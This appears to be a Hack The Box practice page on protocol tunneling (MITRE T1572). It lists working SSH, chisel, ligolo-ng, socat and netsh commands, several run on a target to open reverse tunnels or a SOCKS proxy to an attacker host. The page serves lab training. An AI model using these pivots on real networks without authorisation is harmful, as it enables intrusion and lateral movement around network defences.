Search everything Ctrl K
T1572

Protocol Tunneling

Wrapping traffic inside another protocol (SSH, HTTP) to reach internal services.

How it shows up on Hack The Box

When ss -tulnp shows services on 127.0.0.1 or there is an internal network, bring the port over with ssh -L or chisel, or set up an interface with ligolo-ng to use your tools without proxychains.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Showing 48 of 56. Open each catalog technique above to see them all.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Port forwarding and pivoting › SSH

Bring an internal port over (local) Attacker 
ssh -L 8080:127.0.0.1:8080 [email protected]

Then open http://127.0.0.1:8080 in your browser.

SOCKS proxy for the whole internal network (dynamic) Attacker 
ssh -D 1080 -N [email protected]
Push a target port to you (remote) Target 
ssh -R 8080:127.0.0.1:8080 [email protected] -N

Port forwarding and pivoting › chisel

Server on your machine Attacker 
./chisel server --reverse -p 8000
Client on the target Target 
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080
Client on the target Target 
./chisel client 10.10.14.5:8000 R:socks

Opens a SOCKS5 proxy on port 1080 of your machine.

Windows Target 
.\chisel.exe client 10.10.14.5:8000 R:socks

Port forwarding and pivoting › ligolo-ng

Create the interface on your machine Attacker 
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
In the ligolo console (pick the session and start) Attacker 
session
start
Route to the internal network Attacker 
sudo ip route add 172.16.1.0/24 dev ligolo

Replace 172.16.1.0/24 with the internal network; the subnet calculator helps you work it out.

Port forwarding and pivoting › Others

socat (forward a port) Target 
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80
Windows (netsh, as administrator) Target 
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10

Chisel › More uses

Several ports in one client Target 
./chisel client 10.10.14.5:8000 R:3306:127.0.0.1:3306 R:8080:127.0.0.1:8080

Ligolo-ng › Recent versions (0.6 or later)

Create the interface and route from the proxy console Attacker 
interface_create --name ligolo
route_add --name ligolo --route 172.16.1.0/24
tunnel_start --tun ligolo
Reach the victim's local ports (127.0.0.1) Attacker 
sudo ip route add 240.0.0.1/32 dev ligolo

The special IP 240.0.0.1 points to the agent's localhost.

Tools

Related cheatsheets